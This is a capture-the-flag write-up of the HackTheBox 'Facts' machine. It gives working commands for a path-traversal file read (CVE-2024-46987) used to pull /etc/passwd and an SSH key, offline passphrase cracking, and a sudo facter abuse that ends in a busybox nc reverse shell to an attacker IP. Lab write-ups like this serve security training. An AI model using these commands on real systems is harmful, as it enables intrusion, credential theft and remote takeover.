Facts HackTheBox Writeup - Season10
SUMMARY
This write-up covers the Facts machine from HackTheBox Season 10. Initial reconnaissance exposed an HTTP service on port 80 hosting a small public site. Directory fuzzing surfaced an /admin endpoint that allowed free registration, and once logged in the panel disclosed the underlying CMS as Camaleon CMS 2.9.0. Researching the version led to CVE-2024-46987, a Local File Inclusion in the private file download endpoint that was leveraged to read sensitive files on the server.
Using the LFI to walk the file system, the SSH private key of the trivia user was extracted. The key was password-protected, so it was passed through ssh2john and the resulting hash was cracked offline, recovering the passphrase and delivering an initial shell as trivia.
Internal enumeration revealed that the user had sudo rights to run the facter binary as any user. Facter accepts external fact files (Ruby or shell scripts) loaded from a custom directory, which makes it trivial to abuse: a malicious shell script placed inside an --external-dir is executed in the privileged context. Dropping a reverse shell into a fact file and invoking facter as root delivered a root shell and completed the machine.
PATH TO FOLLOW
- Reconnaissance
- Web Enumeration & Admin Endpoint Discovery
- Camaleon CMS 2.9.0 Fingerprinting
- CVE-2024-46987 - LFI in download_private_file
- SSH Private Key Extraction (id_ed25519)
- ssh2john & Offline Passphrase Cracking
- Shell as trivia
- Sudo Misconfiguration on facter
- External Fact Abuse for Code Execution
- Root Shell
Let’s get to work
1. Reconnaissance & Web Port 80
The nmap scan exposes only three open ports, with the only meaningful surface being HTTP on port 80. Browsing the site lands us on a public-facing page that doesn’t reveal much on its own.

Time to map out what else lives behind that domain.
2. Admin Endpoint & Free Registration
Fuzzing the site’s subdirectories surfaces an /admin endpoint.

Visiting it shows a login portal that conveniently lets us register a new user. We sign up and log in straight away.

Once inside, the panel itself tells us what we’re dealing with: Camaleon CMS 2.9.0.

3. CVE-2024-46987 - Camaleon CMS LFI
A quick search for vulnerabilities affecting that version surfaces three relevant entries. The first two don’t lead anywhere, but the third one is what we want.

Searching specifically for CVE-2024-46987 brings up a GitHub Security Lab advisory with a working proof of concept. The vulnerability sits in the admin/media/download_private_file endpoint, which doesn’t sanitise the file parameter and can be coerced into returning arbitrary files via a path traversal payload.
Pointing it at /etc/passwd confirms the bug.
http://<TARGET_IP>/admin/media/download_private_file?file=../../../../../../etc/passwd

4. SSH Private Key Extraction
Reading /etc/passwd exposes a few system users, with trivia standing out as the most realistic candidate for SSH access. The next move is to try and pull their private key. The default id_rsa path doesn’t return anything, but switching to id_ed25519 lands the file.

We have the user’s private key.
5. ssh2john & Passphrase Cracking
Trying to SSH in immediately fails: the key is password-protected, so OpenSSH asks for a passphrase.

We feed the key to ssh2john to convert it into a john-compatible hash.
ssh2john id_ed25519 > id_ed25519.hash

Running it through john with rockyou.txt cracks the passphrase within seconds.
john --wordlist=/usr/share/wordlists/rockyou.txt id_ed25519.hash

6. Shell as trivia
With the passphrase in hand, SSH’ing in as trivia works on the first try.
ssh -i id_ed25519 trivia@<TARGET_IP>

The user flag drops out of trivia’s home directory.
7. Sudo Misconfiguration on facter
Internal enumeration starts with sudo -l. The result is unusually specific: the user is allowed to execute the facter binary as any user, with no password.

Facter is Puppet’s system fact-gathering tool. Beyond the built-in facts, it can load external facts from arbitrary directories, and external facts are just executables. A bit of digging into the docs lays out exactly how the loader behaves:
| Option | Executes | Example file | Example content |
|---|---|---|---|
--custom-dir | Ruby code | myfact.rb | Facter.add(:myfact) do setcode { `whoami`.strip } end |
--external-dir | Shell script | myfact.sh | #!/bin/bash → echo "myfact=$(whoami)" |
--external-dir | Python script | myfact.py | #!/usr/bin/env python3 → import os; print("myfact="+os.getlogin()) |
-p, --puppet | Puppet Ruby facts | Puppet .rb fact | Facter.add(:pfact) do setcode { Facter::Util::Resolution.exec('id') } end |
8. Privilege Escalation via External Fact Abuse
To prove the chain works before going for the kill, we drop a quick canary fact that fires a single ping back to our box.
cat <<'EOF' > /tmp/factsdir/test.sh
#!/bin/bash
ping -c 1 10.10.14.82
EOF
chmod +x /tmp/factsdir/test.sh
sudo facter --external-dir /tmp/factsdir
The tcpdump on our side catches the ICMP echo, confirming the script runs in the privileged context.

Now we swap the payload for a real reverse shell. A busybox nc one-liner is enough, no need for anything fancy.
cat <<'EOF' > /tmp/factsdir/test.sh
#!/bin/bash
busybox nc 10.10.14.82 4444 -e sh
EOF
chmod +x /tmp/factsdir/test.sh
sudo facter --external-dir /tmp/factsdir
Our listener catches the connection as root.

Game over.